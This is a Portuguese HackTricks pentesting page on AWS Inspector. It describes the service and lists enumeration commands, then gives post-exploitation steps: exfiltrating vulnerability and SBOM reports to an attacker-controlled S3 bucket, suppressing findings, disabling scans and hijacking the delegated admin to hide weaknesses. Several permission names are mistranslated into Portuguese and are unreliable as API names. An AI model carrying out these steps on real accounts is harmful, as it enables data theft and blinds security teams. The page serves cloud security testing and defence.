AWS - Inspector Enum

AWS - Inspector Enum

Apoie o HackTricks

Inspector

O Amazon Inspector é um serviço avançado de gerenciamento automatizado de vulnerabilidades projetado para aprimorar a segurança do seu ambiente AWS. Este serviço escaneia continuamente instâncias Amazon EC2, imagens de contêiner no Amazon ECR, Amazon ECS e funções AWS Lambda em busca de vulnerabilidades e exposição de rede não intencional. Ao aproveitar um robusto banco de dados de inteligência de vulnerabilidades, o Amazon Inspector fornece descobertas detalhadas, incluindo níveis de gravidade e recomendações de remediação, ajudando as organizações a identificar e abordar proativamente os riscos de segurança. Esta abordagem abrangente garante uma postura de segurança fortificada em vários serviços AWS, auxiliando na conformidade e gerenciamento de riscos.

Elementos-chave

Descobertas

As descobertas no Amazon Inspector são relatórios detalhados sobre vulnerabilidades e exposições descobertas durante a varredura de instâncias EC2, repositórios ECR ou funções Lambda. Com base em seu estado, as descobertas são categorizadas como:

  • Ativo: A descoberta não foi remediada.

  • Fechado: A descoberta foi remediada.

  • Suprimido: A descoberta foi marcada com este estado devido a uma ou mais regras de supressão.

As descobertas também são categorizadas nos próximos três tipos:

  • Pacote: Essas descobertas se referem a vulnerabilidades em pacotes de software instalados em seus recursos. Exemplos incluem bibliotecas desatualizadas ou dependências com problemas de segurança conhecidos.

  • Código: Esta categoria inclui vulnerabilidades encontradas no código de aplicativos em execução em seus recursos AWS. Problemas comuns são erros de codificação ou práticas inseguras que podem levar a violações de segurança.

  • Rede: As descobertas de rede identificam exposições potenciais em configurações de rede que podem ser exploradas por atacantes. Estas incluem portas abertas, protocolos de rede inseguros e grupos de segurança mal configurados.

Filtros e Regras de Supressão

Filtros e regras de supressão no Amazon Inspector ajudam a gerenciar e priorizar descobertas. Os filtros permitem refinar as descobertas com base em critérios específicos, como gravidade ou tipo de recurso. As regras de supressão permitem suprimir determinadas descobertas consideradas de baixo risco, que já foram mitigadas ou por qualquer outro motivo importante, evitando que sobrecarreguem seus relatórios de segurança e permitindo que você se concentre em questões mais críticas.

Lista de Materiais de Software (SBOM)

Uma Lista de Materiais de Software (SBOM) no Amazon Inspector é uma lista de inventário aninhada exportável detalhando todos os componentes dentro de um pacote de software, incluindo bibliotecas e dependências. As SBOMs ajudam a fornecer transparência na cadeia de suprimentos de software, permitindo um melhor gerenciamento de vulnerabilidades e conformidade. Elas são cruciais para identificar e mitigar os riscos associados a componentes de software de código aberto e de terceiros.

Recursos principais

Exportar descobertas

O Amazon Inspector oferece a capacidade de exportar descobertas para Buckets Amazon S3, Amazon EventBridge e AWS Security Hub, o que permite gerar relatórios detalhados de vulnerabilidades e exposições identificadas para análise adicional ou compartilhamento em uma data e hora específicas. Este recurso suporta vários formatos de saída, como CSV e JSON, facilitando a integração com outras ferramentas e sistemas. A funcionalidade de exportação permite a personalização dos dados incluídos nos relatórios, permitindo filtrar descobertas com base em critérios específicos como gravidade, tipo de recurso ou intervalo de datas e incluindo por padrão todas as suas descobertas na Região AWS atual com status Ativo.

Ao exportar descobertas, uma chave do Serviço de Gerenciamento de Chaves (KMS) é necessária para criptografar os dados durante a exportação. As chaves KMS garantem que as descobertas exportadas estejam protegidas contra acesso não autorizado, fornecendo uma camada extra de segurança para informações sensíveis de vulnerabilidades.

Varredura de instâncias Amazon EC2

O Amazon Inspector oferece robustas capacidades de varredura para instâncias Amazon EC2 para detectar vulnerabilidades e problemas de segurança. O Inspector compara metadados extraídos da instância EC2 com regras de avisos de segurança para produzir vulnerabilidades de pacote e problemas de alcance de rede. Essas varreduras podem ser realizadas por métodos baseados em agente ou sem agente, dependendo da configuração de ajustes do modo de varredura da sua conta.

  • Baseado em Agente: Utiliza o agente AWS Systems Manager (SSM) para realizar varreduras detalhadas. Este método permite a coleta e análise abrangente de dados diretamente da instância.

  • Sem Agente: Oferece uma alternativa leve que não requer a instalação de um agente na instância, criando um snapshot EBS de cada volume da instância EC2, procurando vulnerabilidades e, em seguida, excluindo-o; aproveitando a infraestrutura AWS existente para varredura.

O modo de varredura determina qual método será usado para realizar varreduras EC2:

  • Baseado em Agente: Envolve a instalação do agente SSM em instâncias EC2 para inspeção profunda.

  • Varredura Híbrida: Combina métodos baseados em agente e sem agente para maximizar a cobertura e minimizar o impacto no desempenho. Nas instâncias EC2 onde o agente SSM está instalado, o Inspector realizará uma varredura baseada em agente, e para aquelas onde não há agente SSM, a varredura realizada será sem agente.

Outro recurso importante é a inspeção profunda para instâncias Linux EC2. Este recurso oferece uma análise detalhada do software e configuração das instâncias Linux EC2, fornecendo avaliações detalhadas de vulnerabilidades, incluindo vulnerabilidades do sistema operacional, vulnerabilidades de aplicativos e configurações incorretas, garantindo uma avaliação abrangente da segurança. Isso é alcançado através da inspeção de caminhos personalizados e todos os seus subdiretórios. Por padrão, o Amazon Inspector irá escanear o seguinte, mas cada conta de membro pode definir até 5 caminhos personalizados adicionais, e cada administrador delegado até 10:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Varredura de imagens de contêiner Amazon ECR

O Amazon Inspector oferece robustas capacidades de varredura para imagens de contêiner do Amazon Elastic Container Registry (ECR), garantindo que vulnerabilidades de pacotes sejam detectadas e gerenciadas de forma eficiente.

  • Varredura Básica: Esta é uma varredura rápida e leve que identifica vulnerabilidades conhecidas em pacotes do sistema operacional em imagens de contêiner usando um conjunto padrão de regras do projeto de código aberto Clair. Com esta configuração de varredura, seus repositórios serão escaneados ao enviar, ou realizando varreduras manuais.

  • Varredura Avançada: Esta opção adiciona o recurso de varredura contínua além da varredura ao enviar. A varredura avançada mergulha mais fundo nas camadas de cada imagem de contêiner para identificar vulnerabilidades em pacotes do sistema operacional e em pacotes de linguagens de programação com maior precisão. Ele analisa tanto a imagem base quanto quaisquer camadas adicionais, fornecendo uma visão abrangente de possíveis problemas de segurança.

Varredura de funções Lambda da Amazon

O Amazon Inspector inclui capacidades abrangentes de varredura para funções AWS Lambda e suas camadas, garantindo a segurança e integridade de aplicativos sem servidor. O Inspector oferece dois tipos de varredura para funções Lambda:

  • Varredura padrão Lambda: Este recurso padrão identifica vulnerabilidades de software nas dependências do pacote de aplicativo adicionadas à sua função Lambda e camadas. Por exemplo, se sua função usar uma versão de uma biblioteca como python-jwt com uma vulnerabilidade conhecida, ele gera uma descoberta.

  • Varredura de código Lambda: Analisa o código do aplicativo personalizado em busca de problemas de segurança, detectando vulnerabilidades como falhas de injeção, vazamentos de dados, criptografia fraca e falta de criptografia. Ele captura trechos de código destacando vulnerabilidades detectadas, como credenciais codificadas. As descobertas incluem sugestões detalhadas de remediação e trechos de código para corrigir os problemas.

Varreduras do Center for Internet Security (CIS)

O Amazon Inspector inclui varreduras do CIS para avaliar os sistemas operacionais das instâncias Amazon EC2 em relação às recomendações das melhores práticas do Center for Internet Security (CIS). Essas varreduras garantem que as configurações estejam em conformidade com os padrões de segurança do setor.

  • Configuração: As varreduras do CIS avaliam se as configurações do sistema atendem às recomendações específicas do CIS Benchmark, sendo que cada verificação está vinculada a um ID e título de verificação do CIS.

  • Execução: As varreduras são realizadas ou agendadas com base em tags de instância e cronogramas definidos.

  • Resultados: Os resultados pós-varredura indicam quais verificações foram aprovadas, ignoradas ou falharam, fornecendo insights sobre a postura de segurança de cada instância.

Enumeração

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Pós-Exploração

Do ponto de vista de um atacante, este serviço pode ajudar o atacante a encontrar vulnerabilidades e exposições de rede que poderiam ajudá-lo a comprometer outras instâncias/containers.

No entanto, um atacante também pode estar interessado em perturbar este serviço para que a vítima não consiga ver vulnerabilidades (todas ou específicas).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Um atacante poderia gerar relatórios detalhados de vulnerabilidades ou lista de materiais de software (SBOMs) e exfiltrá-los do seu ambiente AWS. Essas informações poderiam ser exploradas para identificar fraquezas específicas, software desatualizado ou dependências inseguras, possibilitando ataques direcionados.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

O exemplo a seguir mostra como exfiltrar todas as descobertas ativas do Amazon Inspector para um Bucket do Amazon S3 controlado pelo atacante com uma chave Amazon KMS controlada pelo atacante:

  1. Criar um Bucket do Amazon S3 e anexar uma política a ele para que seja acessível a partir do Amazon Inspector da vítima:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Criar uma chave Amazon KMS e anexar uma política a ela para que possa ser usada pelo Amazon Inspector da vítima:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Execute o comando para criar o relatório de descobertas exfiltrando-o:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Impacto Potencial: Geração e exfiltração de relatórios detalhados de vulnerabilidades e software, obtendo insights sobre vulnerabilidades específicas e fraquezas de segurança.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Um atacante poderia cancelar a geração do relatório de descobertas especificado ou do relatório SBOM, impedindo que as equipes de segurança recebam informações oportunas sobre vulnerabilidades e lista de materiais de software (SBOMs), atrasando a detecção e remediação de problemas de segurança.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Impacto Potencial: Disrupção da monitorização de segurança e prevenção da deteção atempada e remediação de questões de segurança.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Um atacante com estas permissões seria capaz de manipular as regras de filtragem que determinam quais vulnerabilidades e questões de segurança são reportadas ou suprimidas (se a ação estiver definida como SUPRIMIR, uma regra de supressão seria criada). Isso poderia ocultar vulnerabilidades críticas dos administradores de segurança, tornando mais fácil explorar essas fraquezas sem deteção. Ao alterar ou remover filtros importantes, um atacante também poderia criar ruído inundando o sistema com descobertas irrelevantes, dificultando a monitorização e resposta eficazes de segurança.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Impacto Potencial: Ocultação ou supressão de vulnerabilidades críticas, ou inundação do sistema com descobertas irrelevantes.

inspector2:DesativarContaAdminDelegada, (inspector2:AtivarContaAdminDelegada & organizations:ListarAdministradoresDelegados & organizations:PermitirAcessoServiçoAWS & iam:CriarFunçãoVinculadaAoServiço)

Um atacante poderia perturbar significativamente a estrutura de gerenciamento de segurança.

  • Ao desativar a conta de administração delegada, o atacante poderia impedir que a equipe de segurança acesse e gerencie as configurações e relatórios do Amazon Inspector.

  • Habilitar uma conta de administração não autorizada permitiria a um atacante controlar as configurações de segurança, potencialmente desabilitando varreduras ou modificando configurações para ocultar atividades maliciosas.

É necessário que a conta não autorizada esteja na mesma Organização que a vítima para se tornar o administrador delegado.

Para que a conta não autorizada se torne o administrador delegado, também é necessário que, após o administrador delegado legítimo ser desativado e antes que a conta não autorizada seja habilitada como administrador delegado, o administrador legítimo seja cancelado como administrador delegado da organização. Isso pode ser feito com o seguinte comando (permissão organizations:DeregisterDelegatedAdministrator necessária): aws organizations deregister-delegated-administrator --account-id <id-conta-legit> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Impacto Potencial: Disrupção da gestão de segurança.

inspector2:AssociateMember, inspector2:DisassociateMember

Um atacante poderia manipular a associação de contas de membros dentro de uma organização do Amazon Inspector. Ao associar contas não autorizadas ou desassociar contas legítimas, um atacante poderia controlar quais contas são incluídas em varreduras de segurança e relatórios. Isso poderia resultar na exclusão de contas críticas da monitorização de segurança, permitindo que o atacante explore vulnerabilidades nessas contas sem detecção.

Esta ação requer ser realizada pelo administrador delegado.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Impacto Potencial: Exclusão de contas-chave de varreduras de segurança, permitindo a exploração não detectada de vulnerabilidades.

inspector2:Desativar, (inspector2:Ativar & iam:CriarFuncaoVinculadaAoServico)

Um atacante com permissão inspector2:Desativar seria capaz de desativar varreduras de segurança em tipos de recursos específicos (EC2, ECR, Lambda, código Lambda) nas contas especificadas, deixando partes do ambiente AWS sem monitoramento e vulneráveis a ataques. Além disso, possuindo as permissões inspector2:Ativar & iam:CriarFuncaoVinculadaAoServico, um atacante poderia então reativar varreduras seletivamente para evitar a detecção de configurações suspeitas.

Esta ação requer ser realizada pelo administrador delegado.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Impacto Potencial: Criação de pontos cegos na monitorização de segurança.

inspector2:UpdateOrganizationConfiguration

Um atacante com essa permissão seria capaz de atualizar as configurações da sua organização do Amazon Inspector, afetando as funcionalidades de verificação padrão habilitadas para novas contas de membros.

Essa ação requer ser realizada pelo administrador delegado.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Impacto Potencial: Alterar políticas e configurações de varredura de segurança para a organização.

inspector2:TagResource, inspector2:UntagResource

Um atacante poderia manipular tags em recursos do AWS Inspector, que são críticas para organizar, rastrear e automatizar avaliações de segurança. Ao alterar ou remover tags, um atacante poderia potencialmente ocultar vulnerabilidades das varreduras de segurança, interromper relatórios de conformidade e interferir nos processos de remediação automatizados, levando a problemas de segurança não verificados e comprometendo a integridade do sistema.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Impacto Potencial: Ocultação de vulnerabilidades, interrupção de relatórios de conformidade, interrupção da automação de segurança e interrupção da alocação de custos.

Referências

Apoie o HackTricks

Last updated